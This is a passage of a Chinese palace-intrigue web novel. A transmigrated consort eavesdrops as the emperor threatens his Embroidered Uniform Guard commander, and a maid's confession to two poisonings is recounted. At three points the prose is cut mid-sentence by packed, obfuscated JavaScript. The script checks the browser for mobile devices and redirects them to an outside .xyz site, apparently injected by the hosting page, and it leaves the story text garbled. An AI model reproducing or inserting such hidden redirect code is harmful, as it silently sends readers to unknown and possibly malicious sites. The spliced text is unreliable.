“锦衣卫自我大周朝太祖创立之初就为历任帝王之肱骨,上能肃清朝野,下能铲奸除恶,对帝王的赤胆忠心,与所立下的汗马功劳,在朕看来不输于任何忠臣良将。而会在这张行刑的案台上受刑的,都乃欺君背主的奸恶之徒。能剜他们的肉,放他们的血,朕可不觉得这里都是什么血污浊气。” 赵昶说到这里大笑了几声,那笑声让在案台下藏着的云昭昭听来,简直毛骨悚然。 “甚至,朕一走进这里,只觉得正气浩然,明光耀眼,有如清风拂面,碧水润心。” 周徵闻言,不动声色地皱了皱眉,只是说:“……陛下教训的是。” “既然如此,”赵昶话锋一转道,“朕先前三番五次提醒你,要对云琛那老贼的夫人下些狠手段,逼她多交代点东西,你为何迟迟未行动,甚至还好吃好喝地供着她?你是想在朕的诏狱里供一尊菩萨?” “那柳氏不过是一介妇人,所知也有限……” “荒唐!”未等周徵说完,赵昶便气急败坏地打断道,“一介妇人又如何?明彰,你可曾知晓,这柳氏乃云琛发妻,他云琛又从未纳妾,可见这柳氏并不是什么省油好相与的,云党的事,还有什么是这妇人所不知道?” 云昭昭躲在案台下,听到这里简直想笑。 柳氏乃云琛发妻,两人相识于微末,相知相守不知道经历了多少浮浮沉沉,云琛飞黄腾达后尚未纳妾,难道就不能是因为他与柳氏伉俪情深吗?怎么到他赵昶这里就只能是柳氏不好相与了? 本来听到他关于这诏狱氛围的言论,云昭昭还只觉得此人想法认识异于常人,可能因为他乃九五至尊,所以难免将权力看得重些。但现在听他谈及柳氏,她几乎可以断言,这所谓原书中苏爽霸道的男主,也不过就是个极端刚愎自负之徒。 很快赵昶又继续开口,语气里带着浓浓的失望:“周徵,朕过去一向欣赏你做事果断狠厉,该下手时绝不踌躇半分,怎么现在你倒变得这么妇人之仁了?!” 面对君王这般质疑,周徵却没有半分想要为自己辩白的意思,态度还是一如既往的平静,只是解释道: “臣这么做也是出于自己的考量,这两日锦衣卫东奔西走,连夜追查,臣已经可以确定,中秋望月宴上容华娘娘的死,与那柳氏并无关系,她只是为了自己的女儿,也就是云贵妃开脱。” “哼,果然,朕就知道,”赵昶道,“那云氏果然就是个妖妇,长得就是一张魅惑众生的脸,心里也是堪比蛇蝎般歹毒!为入宫前就曾难为过若桑,现在竟变本加厉到要害若桑的命!果然云氏一族,尽是些狼心狗肺之徒。” 云昭昭听赵昶竟是这样评价“自己”,简直是又气又想笑。 要是原身的灵魂还存在于这具身体里,她可真想指着自己的脑袋,让她好好醒醒这副恋爱脑,再好好睁大眼睛瞧瞧:她不惜为了与父亲作对,不惜做妾,不惜绝食自伤,也要嫁予的男人,究竟是怎么看待她的。 不过碍于现在的时间地点,她还是选择了暂时忍着怒气。 这时,她难得地听见周徵替自己说话:“陛下,臣以为……此事应当与云贵妃无关,甚至,也应当与云党毫无关系。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108314|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 结果他话音刚落,赵昶就火了,一脚踹在了旁边的刑椅上,屋内回荡着震天的响声。 “今儿太阳竟是从西边出来了!今晨内阁议会,裴晧因为爱女离世向朕告假也就罢了,他云琛,他凭什么也向朕告假!依朕之见,他这分明就是做贼心虚!” 他边说又边抱怨道:“这个云氏,可真不简单,朕也不知道她给朕的璃儿灌了什么迷魂汤,从前天宴会上回来,朕一脚刚踏进翠微宫,璃儿就跪在朕跟前替她求情,朕也只能这段时间刻意冷着她,让她好好反省反省。璃儿心软,心思又单纯,朕喜欢的便是她这一点,但你呢,你周徵难道也像璃儿一般心软、心思单纯吗?” 说到这里,赵昶刻意顿了一下,猝不及防地发问:“还是说,这云氏也给你用了什么妖法?让你这般为她说话?” 简直一派胡言! 云昭昭简直怒不可遏,她已被赵昶气得无暇顾及周遭的环境,一只脏兮兮的小手随意抓起地上的一块沾着血泥的碎骨,死死地攥在手里,恨不得将其捏碎。 赵昶这话已是说得极其露骨过分,甚至可以说是在拐弯抹角地怀疑周徵是否与自己有染。若是换了别人也就罢了,但那是谁,那可是周徵啊,能够在太后办的赏菊宴上当着全后宫给自己难堪的周徵啊,最最铁面无私的周徵啊,怎么为自己说几句公道话就要被怀疑至此呢! 云昭昭现在只觉得以前看小说的时候是瞎了眼,怎么会喜欢这样的男主,赵昶不仅刚愎自用,还是个鼠目寸光,极其小心眼的东西。 两相对比之下,甚至连她一直看不顺眼的周徵都显得眉清目秀多了。 事实上,周徵也果然没有令她失望,面对赵昶蛮横的发难,他依然秉承着那副冷静持重的态度,认认真真地解释同赵昶解释。 “非也。只是因为如今我们在明,敌在暗,在尚不清楚暗中行事的那第三方势力的情况下,若是贸然对云家动手,恐正中了对方的下怀,说不定他们要的就是我们与云党那边两两厮杀,拼个你死我活,最后再坐收渔利。” 赵昶似乎不为所动,周徵只好同他坦言:“陛下,臣之所以能下此论断,是因为纯容华的死因与太医院的郭晋原一样,均是死于那见雪尘之毒。” “见雪尘……”赵昶喃喃念道。 “是。”周徵最后又直言相谏,“臣以为如今之计,必须先好吃好喝地照应着柳氏,保障其在狱中的生活与安危,不可再轻易激怒云家,或许那藏在背后之人最终会坐不住,自己先露出马脚来。” 谁知赵昶一听竟彻底盛怒,厉声大喝道:“周徵!朕问你,你是不是不想再当这个锦衣卫指挥使了?!嗯?回答朕!” 周徵道:“臣只要能将这幕后之人抓出来,替陛下肃清锦衣卫,之后若是陛下对臣不满,臣自然会向陛下申请辞去指挥使一职。” 39. 冰释 “明彰,你这是在威胁朕?” 赵昶敛了怒气,语气突然平静下来。但云昭昭作为现场置身事外的第三人,听他这平淡的语气,反而更觉得不舒服。 “臣不敢。” 周徵突然屈膝半跪在地,低着头,顺从地答道:“一切都应由陛下定夺。” 可谁能料到,他越是摆出这般温良忍让的姿态,越是令赵昶心生嫌隙。 赵昶半眯着眼,冷笑着问他:“周爱卿这是何意,是觉得朕不配再当这个天子了?还是觉得在朕手下当这指挥使太过于屈才,想要放弃朕了?” 周徵呼吸一滞,呆愣了一瞬后,斟酌着回答道:“臣……绝不敢有此念头,千错万错,都是臣无能……” “无能?!朕看你有能耐得很!”赵昶看着周徵面朝自己的后背,怒骂道,“可太会自作主张了!朕叮嘱你的话你全当耳旁风!依朕看来,根本就不存在什么所谓的其他人,若不是云党干的!就是这本该只存在于诏狱里的见雪尘自个儿生出了腿,甚至还能在你堂堂锦衣卫指挥使的眼皮子底下,飞到云党的手里!” 云昭昭听到这里简直倒吸一口凉气。 赵昶所言,已经就差指着周徵的鼻子说他监守自盗了。 原书里描述的周徵,前期虽心狠手辣,冷酷无情,但对赵昶的忠心却可鉴日月,行事处处唯皇命是从。 而她现在所认识的周徵,虽然行事固执,性格冷淡,张嘴不饶人,一有机会便处处给她使绊子……但比起原书里那个无所不能的反派,她更能感受到他是个立体鲜活的,有血有肉的人。 他行事固执,是因为他始终在坚守着某种原则;他性格冷淡,她猜测那是他在小心翼翼地保持着与外界的距离;甚至他与自己的对立,也是因为他清楚这样更能让她难堪…… 他不是谁手下只会听话的刀,而是一个有坚持,有感情,有思考的活生生的人。 所以她完全相信周徵会为了大局,而选择暂时地不与云家为敌。 他能替赵昶考虑至此,甚至不惜违背皇命;而赵昶却对这样的他,都抱有怀疑。 云昭昭顿感荒谬至极,不禁替周徵捏了一把汗。 也不知是她听着屋内君臣二人的谈话太过投入,还是她蜷缩在床下的身体保持一个姿势太久有些失了知觉,总之,她这个不经意的动作,让她的手肘不小心碰倒了墙根处堆着的一些空瓶,只听得啪啦一声响,几只瓶子倒在地上,咕噜咕噜地从案台下滚了出去。 完蛋!她怎么这样冒冒失失的!她不会害死周徵吧? 云昭昭瞬间有种想给自己一巴掌的心情。 这番动静自然不可能不被赵昶所察觉,果然,他又收起刚才的怒气,似笑非笑地说道:“咦,朕刚才还说这诏狱里的见雪尘是生了腿,怎么,这案台下的空瓶子也长了脚,竟会自己滚落到地上?” 他的话令躲在行刑案台下的云昭昭生了一身冷汗,但周徵却冷静得出奇,像是一桩从地上生长出来的雕塑一样,坦荡地迎着赵昶的质疑,没有一丝动摇,亦无畏惧。 “是老鼠。”周徵不疾不徐道,“此处离地数尺,阴冷潮湿,多生虫豸,臣明日就让人在狱中各处投放些鼠药。” “也好,斩草务必除根,免得这鼠患从地下蔓延至地上,祸及整个锦衣卫。”赵昶话里有话,显然并不完全相信周徵,“朕刚才前来,见门口守卫的几名校尉个个身上都带伤,一问才知,竟是有可疑之人负伤离去,伤了他们又逃掉……” 听到赵昶提及薛炼,云昭昭不免担心他身份泄露。 然而令她感到意外的是,周徵竟然若无其事地向赵昶撒了个慌。 “那人不知是哪个卫所的,倒也有些本事,臣今夜也是因调查见雪尘外泄一事才跟踪他至此,正好撞见他骗过守卫来此处摸索,便打伤了他。不过臣当时确实疏忽大意,让他逃了……还请陛下责罚。” “责罚就免了。”赵昶道,“朕方才跟你入牢房时,注意到门口处那人,朕没记错的话,他应该就是父皇在世时的锦衣卫指挥使冯潇吧?” 周徵:“正是冯潇。” “嗯,此人朕还颇有些印象,我大周朝开放武举以来的第一个武状元,是有些本事在身上的,之前还参与过调查贩卖私盐案,先帝三十三年那场最大的科举舞弊案也是他审理的。他也因此得到了云琛那老东西的器重,开始广结党羽,后面便也越发地无法无天起来了,不知道暗地里得了他多少的好处,竟敢当着百官之面公然顶撞朕!要不是有你找到了他私售锦衣卫员额的证据,还真不一定能将他从这位置上拉下来。” 见赵昶突然滔滔不绝地谈起冯潇,周徵没有接话,只是皱了下眉头,简短地嗯了一声,算是应了。 不过赵昶显然也并不需要周徵开口说什么,只见他缓步走至挂满刑具的墙边,轻抚着一把精铁铡刀,悠悠然地开口,那语气仿佛是在讲述一个平淡而温馨的故事。 “朕还记得当年赐他剔骨之刑时,你还怪朕太过于残忍,替他向朕求情,认为他对我大周功大于过,绕了他一条命。可今日朕却觉得,还好当时朕狠下了心,若是留这样的人在这里,朕的锦衣卫岂不是要成为什么蛇鼠一窝的霍乱源头?如今想到他行刑那日的凄厉叫声,朕只觉得心头无比舒畅,朕又替大周,替百姓出了一口恶气。” 赵昶说到此处,又走回了周徵面前,站定,然后轻声说:“朕所需要的锦衣卫指挥使,就是只忠于朕一人,只依靠于朕一人的孤臣!除此以外,哪怕立下再多功勋,拥有再多民心,只要背叛了朕,那也只能获得与冯潇一样的下场。” “你明白了吗,周爱卿?”赵昶最后盯着周徵这样问道。 云昭昭听着赵昶这一番自顾自的“高谈阔论”,有些不寒而栗,她没有想到赵昶竟然对自己所定的这般残酷的刑罚还沾沾自喜,之前她甚至误会这是周徵一手主导的…… 然而更令她没有想到是,周徵面对赵昶的这番威胁,竟没有一点异议。 他依旧固执地坚守着他刚才的论调:“还请陛下再给臣一些时间,查清此事真相,若是臣无能,臣自当主动向陛下认领这个监守自盗之罪,届时要如何处置臣,全凭陛下定夺。” 傻子!大傻子!云昭昭心道。 许是因为周徵刚才替她打了掩护,现在她也开始替他不值。明明好端端一个人,有手有脚,长了脑袋,怎么就跟个倔驴似的,脑子转不过弯来呢? 不过赵昶听他愿意为了自己做到这个份儿上,气总算消了。 他袖口一摆,亲自上前扶起了周徵,见到他抬起的脸上肿胀的淤青与触目惊心的伤口,关切道:“额头上的伤还没好?还疼吗?” 周徵垂着眼,摇摇头道:“陛下,这点儿伤算不得什么。” “如何算不得什么?”赵昶反而紧张起来,笑道,“咱们从小一起长大,你是朕身边最重要,也是唯一值得朕信任的人。朕那天也是在气头上,一时冲动,下手难免重了些。朕明早就命汪厚给你送些最好的金疮药与生肌散过去。可不能让你这张俊脸就此破了相,不然将来要是讨不着媳妇儿,母后估计九泉之下都会怪罪朕。起来吧。” 云昭昭躲在案台下听得是一愣一愣的。 托赵昶所赐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108315|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她今夜对周徵的态度,可谓是经历了一波三折,从讨厌到逐渐理解,再到替其不值,现在又变成了同情。 她开始时还奇怪周徵这家伙武功这么厉害,谁能将他伤成这样,而现在她才明白,原来是赵昶冲他撒气时弄的。 难怪她作为一个旁观者,一直觉得今晚赵昶的态度有些令她生理性厌恶,现在她才恍然大悟,这打一巴掌再给一个甜枣的做派,不就是活脱脱的职场PUA吗? 只可惜,周徵作为古代人,并没有自己这个现代牛马的这种觉悟,甚至还要对这虚伪得可怜的赏赐感恩戴德。 赵昶临走前,再次叮嘱了周徵,纯容华之死的真相要查,但是为了抓住这个千载难逢地打压云琛的机会,柳氏也要审。如此既要又要的态度,令云昭昭大叹好不要脸,想她混迹于现代职场、跳槽于数家公司多年,也从未见过如此厚颜无耻的领导。 而这些,周徵都毫无怨言地一一应承了下来。 临走时,赵昶仍不往拍拍他的肩膀,提醒道:“好自为之吧,周爱卿。” 他没有像以往一样叫他的表字明彰,也没有直呼其名,而是叫他,周爱卿。 等云昭昭灰头土脸地从行刑台下钻出来时,周徵仍像是被钉在了原地一般,看着赵昶离去的方向发着愣。 云昭昭拍了拍手上的灰,在周徵面前晃了晃道:“喂!你在想什么,伤心了?” 周徵轻咳一声,撇开脸,神色不善道:“没什么。” “我说,”云昭昭道,“你这人到底怎么回事啊?刚刚,他都那样威胁你了,你还把过错揽在自己头上。” 周徵闻言立马铁青了脸,道:“与你何干?” 云昭昭不怒反笑道:“我看不惯了,不行吗?俗话说,路见不平拔刀相助,我是看你可怜。” “哼,我有什么可怜的?” “他在刻意打压你,你没看出来吗?”云昭昭道,“你做得好是应该的,但只要有一点错,那就该死。” “为人臣子,忠君体国,自当肝脑涂地,在所不惜。贵妃若只是想对我说这些,那就请回吧。” “……” 云昭昭怒其不争,急得直跺脚,在心里怒骂其榆木脑袋。但她还是说:“我们接着刚才没说完的话继续。” 周徵却摇了摇头,很不给她面子,“不必了。陛下既已对我下了死命令,我自当遵守,明日我便会依陛下所言,对令堂进行审讯。至于贵妃深夜冒充我属下闯进诏狱一事,我就不再追究了。” “等等,等等!” 见周徵如此不留情面,云昭昭终于将自己的杀手锏和盘托出: “听着,狡兔死,走狗烹……你若今日审讯了我娘,帮赵昶灭了云家,那么不出三个月,赵昶就会将他的剑尖对准你,他不会立刻要你死来除掉你,而是会逼你谋反!” 周徵闻言,连呼吸都停了下来,半晌后,他的眸中闪烁着危险的光,“云贵妃,你可知自己在说什么?” 云昭昭已经豁出去了,反正她已经试过,原书中重要的剧情,是不会轻易被改变的。 她十分笃定地回答道:“我当然知道自己在说什么。你若不信我便会后悔,因为这件事情,一定会发生。就像我,之前本来想救那个叫秋儿的宫女一命,但秋儿却死了;而这次我本来想救纯容华一命,软禁了逐月,还提前命人将宫里所有的蟹心都处理了,那碗蟹肉羮还是出了问题,纯容华还是死了。” “所以,他一定会想除掉你,你被逼到万不得已,一定会谋反。”云昭昭说完又特意重复了一遍。 周徵的脸色终于变了。 40. 前嫌 “你与陛下,终会有因立场不同,而走到决裂的那一天。” 周徵忘不了,白日里,那个叫做汀雪的丫头,在受审时也是这样对他说的。 因为那天的宴会中途她暂时离了场,且无人能为其作证,纯容华的母亲张氏又一口咬定她存在嫌疑,所以,哪怕只是为了给裴家一个交代,周徵也必须要让她接受审讯。 由于只是宫女,所以汀雪并没有资格进入诏狱,只能被关在宫正司的一间黑屋子里,由几名身强力壮的嬷嬷看管着。汀雪倒也老实,既没哭闹也没想着要逃跑,一个人蜷缩在屋子的角落里,身子纤细瘦弱,好似风中吹一下就会飘走的柳絮。 可谁都没想到,就是这样一名看似柔弱的小女孩,却让周徵的两名下属在盘问她那晚更详细的经过时,碰了钉子。无论他们怎样软硬兼施地威胁逼供,汀雪就是一口咬定该说的已经在宴会上当场说明了,剩下的,她只能向武安侯本人亲口交代。 下属们只好先回来禀告周徵。正好,周徵挂念着那晚再次出现的见雪尘,凡是涉及锦衣卫出现内奸的问题,他都不能假他人之手,汀雪虽微不足道,但再三斟酌后,他还是亲自去了。 在宫正司见到汀雪时,周徵有些讶异。 这名之前仅在春波河的长廊上有一面之缘的小宫女,与他印象中那副警惕,唯唯诺诺的模样大相径庭。 她就那么一个人独坐在宫正司关禁闭的小黑屋里,外面时而想起太监宫女杖毙受罚时的尖叫声,但她依然沉着冷静,见到周徵来了也不慌不忙,游刃有余。 她明明看起来个子不高,发育还未完全,不过十五六岁的模样,但当那双墨玉般的眼瞳盯着周徵时,却透着一股不符合年龄的心机与狠劲儿。 在一开始试探性的问题中,她对云昭昭入宫前的情况了解得事无巨细,了如指掌,这无不证明着,她就是云昭昭从云府带入宫陪嫁的贴身侍女汀雪本人,而不是什么半途而来的冒名顶替货。 而当周徵问起那晚的情形时,汀雪也是对答如流,她甚至没有一丝犹豫,直接向周徵承认了,自己便是导致纯容华死亡的直接推手。 原来那晚的宴会上,汀雪假借如厕之由,一直躲在尚食局门口的树丛里,当时众人都忙着为前朝后宫的两边宴席,场面混乱,谁也不会注意到她。 当那名为纯容华他们送餐的宫女出来时,汀雪假装上前询问,故意撞了她一下,托盘中的羹汤瞬间洒了不少出来。她在向其赔罪的间隙中偷偷将原本送去给易琉璃的那碗蟹肉羹与纯容华的调了个个儿。这之后,她又绕远路,避开所有宫人,回到了望月殿。 “你一早就知道易常在的那碗羹汤里有毒吧?这么说,事先给王司膳字条留下牵机引的人就是你?”周徵问。 为了试探她是否知道诏狱见雪尘失窃一事,他故意将见雪尘说成是了牵机引。两者毒发时的症状相似,都会使得服毒之人身体呈现诡异的蜷缩与痉挛。 “不错。”汀雪回答道,“但这也是逐月那蠢货想让王司膳帮忙在易常在的食物里下绝育药在先,奴婢只是将计就计,换成牵机引罢了。至于那个女人,倒是个外强中干不中用的,奴婢只不过稍稍吓唬了她几句,竟就自个儿上吊了,不过也好,免得脏了奴婢的手,也省去了许多麻烦。” 果然,那晚发生的一切都是循着极其缜密的计划,在小心谨慎地进行着。 汀雪讲述来龙去脉的时候,言辞坦荡,面无惧色,仿佛她与周徵的见面,只是她所有计划中的一环。只不过她说到牵机引的模样倒并不像是撒谎。 周徵:“即便是牵机引,在宫里要获取也十分不易,你是如何获得的?或者说,你一个小宫女,是如何想到这样周密的计划的?” 面对询问,汀雪只是笑而不答,那笑容带着少女特有的纯真,但在周徵看来,竟恍似带刺的毒姝,带着不易觉察的危险。 他死死地盯着她,一字一句地问道:“是你背后之人吧?他是谁?” 汀雪面上笑意更深,“这就不是侯爷现在该知道的了,等时间到了,侯爷自然会知道。” “你可知违抗锦衣卫的审问,下场是什么?你就不怕?”周徵问道,目光如炬。 汀雪道:“奴婢也只是依着主子的命令行事,违抗锦衣卫是死罪,违抗主子的命令,难道就不是死罪了?至少奴婢也有在配合侯爷的调查。” “你不是从云府里随云贵妃入宫的贴身陪嫁吗?本侯命人去调查过,你十年前就在云府了。” “侯爷是想问,奴婢作为贵妃的贴身丫鬟,为何会做出此等想要置云家于死地的事?”汀雪听出了周徵话里的弦外之音,也同样并不明说,“奴婢只能说,天下像侯爷现在这样忠君事主的人毕竟是少数,每个人都有自己想要的东西。” “你背后的主子,手眼倒是通天。”周徵试探道。 然而汀雪倒是心思玲珑,并不上套,只是笑着说:“侯爷就不要再为难奴婢这做下人的了,除了这个问题,其他您想知道的细节奴婢一定知无不言。” 周徵想了想,索性问道:“之前翠微宫那个名叫秋儿的宫女,也是你推下春波河的?” 此事他心中其实已有答案,但现在还是忍不住再确认,若是汀雪做的,或许,便真的与云昭昭没有关系。这也难怪她在赏菊宴上,面对自己的质问如此气愤。 汀雪立刻干脆地给了他答案:“没错,那天在你们走后,奴婢便捡了除草宫女所用的锄头,敲晕了秋儿,然后拖着她沿河一路往上游走,随便寻了一处将她推了下去,这之后才去了翠微宫通报,等奴婢从翠微宫回来,就遇上了侯爷。” “果然,那掉灌木丛中的那方手帕是你的?” 汀雪眨了眨眼,甚至有些得意:“那是奴婢顺手偷的逐月的帕子,本想嫁祸给她的,谁知道侯爷您那天在赏菊宴上对咱们娘娘说了什么,倒让她怀疑上了我。看得出来,两个月前的那次落水高烧,倒把我们娘娘的脑子烧聪明了不少。” “落水?”她说到这里,周徵倏然想起那一直藏在他心里的疑团,忍不住好奇地追问:“她落水前后有何变化?” 汀雪想了想回答道:“性子变了,倒是不像原来那么乖张蛮横了,稳重多了……倒是给奴婢的计划添了不少乱子,本想着借逐月之手让她作茧自缚,结果她倒看不上逐月,还对其心存芥蒂,之前就千方百计地想要救下秋儿,这次也是,竟然提前命奴婢将整个后宫的蟹心都收集起来处理了……呵,不过这些都是徒劳,云氏一党的败局终究是已经注定的事。” “你的主子如此小心翼翼,煞费苦心……恐怕不止是为了扳倒云家吧?”周徵冷笑了一声,问道。 “但至少现在,我们的目标是一致的。”汀雪从容道。 见她再次避而不答,周徵又继续与她周旋道:“你刚刚说,你将秋儿沿河拖走再推下,可本侯那天捡到手帕的地点,离事发地尚有数百米远,你身量尚小,拖着人需多费些时间,你前日刚随贵妃入宫,按理说对宫中路并不熟悉,却能在那么短的时间内赶到翠微宫再回到原处。看来,你背后之人,应当是在这宫里才对吧?” 汀雪闻言,明显一愣,半晌后,她原本单纯的笑容变得有些难看。 “侯爷,有时候人太聪明算不得什么好事……” “你在威胁本侯?” “奴婢不敢。”汀雪恭敬道,“奴婢只是觉得,有时候什么都知道,反而不是什么什么好事。” 周徵不依不饶道:“既然你的主子在宫中,那本侯大可让锦衣卫对各宫各殿严加监视,如此掘地三尺,还怕找不到人?” 汀雪道:“主子对侯爷守护陛下的决心和能力,自然是深信不疑的。她既同意让奴婢告诉侯爷这些,就是想向侯爷表明,她无意与侯爷为敌,甚至,她还想与侯爷做个交易。” 周徵脸色霎时一黑,冷笑道,“你们这背后的狼子野心,昭然若揭,还想与本侯做交易?你敢说这不是为了……”说罢他目光门外远处的某一点。 宫正司的正西方,夕阳沉沉落幕,金红的火烧云落在养心殿顶端的乘凤仙人琉璃塑像上,映出曜曜余辉。 汀雪顺着周徵的目光向那边望去,她看着养心殿上落日熔金的景象,试试然说道: “侯爷如今为陛下赴汤蹈火,你就没想过,你与陛下,或许终会有因立场不同,而走到决裂的那一天?” 汀雪的话,像是秋日里的一声惊雷,为他本来平静的心带来了一场倾盆大雨。 自从他的父亲,也就是老武安侯周嵘和母亲林氏因通倭获罪伏诛后,“武安侯”三个大字,已不再是代表大周开国时那位以武安定天下的先辈,反而成了某种罪恶的名号。 作为罪臣的儿子,身上流着罪臣的血,仿佛也被刻上了罪臣的烙印,生来就要走上那条欺君叛国的歧途。 所以从他被昭文皇后收养至宫中后,他随侍在赵昶身边,对他几乎有求必应、百依百顺,为的既是报答昭文皇后的庇护之恩,也是为了向所有人证明,他不会走上父母的那条老路。 但汀雪的话却给了他沉重的一击,好像他毕生也逃不开,背离所侍奉的君主的宿命。 他会和赵昶立场不同吗? 他和赵昶一起长大,一起在重华宫读书,一起南下稽查地方贪污枉法,他事事以他为先,像一只他亲手养大的忠诚冷酷的鹰犬;为了让他的诸君之位更加稳固,他甚至从七岁时便跟着当时的宫里最厉害的暗卫学武,替他处理了很多棘手的政敌,帮他背负了不少罪恶的血债。 他完全无法想象有一天,他和赵昶站在同一道门的两侧,拼个你死我活,会是什么样。 下午汀雪的话已经足够让他辗转反侧,夙夜难寐了,所以他才会在半夜突临诏狱,为了就是向柳氏来确认自己心中那个侥幸的可能——万一没有所谓的其他人,汀雪只是云琛那老狐狸故意放来混淆视线的呢? 结果他还见到柳氏,云昭昭的话就给了他更沉重的当头一击。 不过多年在宫里寄人篱下、看人眼色的生活,以及锦衣卫的职业特性,已经让周徵养成了喜怒不形于色,遇事冷酷持重的习惯。 哪怕此刻他胸中早已有千钧激荡,但面上依旧是那副冷冽淡薄的模样。 “既是未来之事,我现在怎么知道你说的是真是假,若是存心设计骗我呢?”他看着云昭昭,强行镇定道。 云昭昭被问住了。 她是从书外的世界来的,她总不可能告诉周徵自己是穿书的,知道结局吧,况且,就算她知道书里的结局,她怎么能保证结局真的不会被改写呢?毕竟她这么尽力挣扎的原因,也是为了改写自己这具身体的结局。 起码她穿书至今,除了主线大致发展一样外,不少的支线已经出现了翻天覆地的变化。 比如逐月的提前离世,她与易琉璃的关系,太后的拉拢,甚至她与周徵的相识本身就是最大的变数。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108316|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 云昭昭冥思苦想,不得不发挥自己的信口胡诌大法,又开始靠着丰富的小说阅历与想象即兴发挥起来。 “这个嘛,”她眨巴了几下眼睛,狡黠道,“侯爷您作为锦衣卫的指挥使,这么有能耐,一定知道‘我’入宫前大病了一场,后来还失去了一些记忆这事儿。” 周徵被她明亮的眸子恍得移不开眼,只能点头承认:“知道。” 云昭昭点点头,又说:“这后来很多人都觉得我像变了个人似的,甚至武安侯您也误以为我是我爹找来的一模一样的替身。” 周徵被她的话仿佛又带回了永麟殿的那一夜,恍惚飘摇的烛火,华美柔软的丝绸,浓郁热烈的馨香,还有白瓷般的脖颈上,那粒妖娆欲滴的朱砂…… 他感到一阵燥热,一直从耳根一直烧到双颊,再蔓延到下腹…… 面前男装的云昭昭,清淡的眉眼像是着了更加婉约的黛色,素净的嘴唇好似染了别样妩媚的胭脂…… 周徵努力地想要赶跑这些糟糕的想法,到最后,只能黑了一张脸,侧着身子,僵硬地背对着她。 “喂,你面向那边干什么,”云昭昭莫名其妙,“你就那么不相信我说的吗?可我真的不是替身。” 周徵平复了一下呼吸,艰难从口中吐出一句:“我信。” 云昭昭又说:“我只是,在昏睡过去的时候,做了一个很长很长的梦。我梦见了未来,梦见了云家,梦见了许多人,包括我自己,当然还有你。” “……” 周徵的思绪终于被拉回了正轨,听到涉及自己,不由地屏住了呼吸。 “我之所以说这个未来一定会发生,就是因为我也梦见了我的入宫,梦见了秋儿的死,梦见了中秋望月宴上纯容华的死……” 说道这里,云昭昭已不是再信口胡诌,所以语气也凝重了起来。 “我不想就这样入宫,所以想着从云府离开,结果遇见了你。” “我也不能让秋儿一个无辜的小宫女白白地死掉,所以那天拼命地拦着逐月,结果她还是死了。” “我更不能眼睁睁地看着裴家因为纯容华的死对云家恨之入骨,所以我提前准备了很久,让人处理了所有的蟹心,结果纯容华反而死得更加凄惨……” 听到这里,周徵再也不出口反驳了。多年面对犯人的刑审经验让他很清楚,云昭昭说的这些话,都是真的。 之前听张垚说郭院判的那套九耀还魄针都能发生借尸还魂这等奇闻轶事,那让人做个预知未来的梦倒也说得过去。 “所以,我觉得,即使为了防范万一,你也该相信有这样一种可能!”云昭昭说。 “你……让我再考虑考虑罢。”最后周徵这样说道。 见他态度终于动摇,云昭昭觉得有戏,便又问道:“那你到底要考虑多久?我娘怎么办!” 见她如此关切柳氏,他只好说:“给我两日时间考虑,至少,在我考虑的这期间,我会保证云夫人的安全。” “不止是安全!”云昭昭道,“你不能让她饿着冷着,而且你也要保证你手下那些人也要恭恭敬敬地待她!” “可以。”周徵点头应允道。 说罢他瞥了一眼屋内的沙漏,与最初进来时慢慢的一罐相比,上面的沙已差不多全漏完了,算着时间,外面应该已经快天亮了。 “我送你回宫。”他说。 云昭昭低头看了一眼自己身上这身衣服,穿着松松垮垮的,有两处带子也系错了,刚才深夜跟着薛炼一起来不及注意。现在薛炼逃走了,自己这样出去,一定会引起守门锦衣卫的察觉。 于是她爽快地答应了周徵的提议,便像个跟班一样跟在他身后,出了诏狱。 守门的锦衣卫一夜之间见到这么多人来往诏狱,本想问周徵几句,但见他脸色阴晴不定,便不敢再多问,只能眼巴巴地看着周徵带着云昭昭离去。 昭阳殿后殿外,东方的地平线已微微透出了鱼肚白,站了一夜岗的禁军,在彻夜的霜露中,也有了些许倦意。 几人正打着盹,忽见周徵带着锦衣卫装束的云昭昭走了过来。 自从一个月前周徵接管京中四大营以来,他治军严厉的名号已经在军中传遍了。几人见他来了瞬间打起了十二万分的精神。 “见过武安侯。” “嗯。”周徵淡淡应道,“我们要进去,还有些地方要查。” 几人哪敢拦他?便恭恭敬敬地为周徵与云昭昭让开了一条过道。 待二人进去后,几名禁军凑在一起,开始小声地八卦了起来。 “喂,看到没有,跟在侯爷后面回来的,就是刚才从这里出去的那个俊俏小哥。现在天亮了点,我刚刚瞅了,哇塞,长得那可是真俊啊!” “之前是燕镇抚和他一起出去的,现在换成侯爷亲自带他来……啧啧,这待遇。” 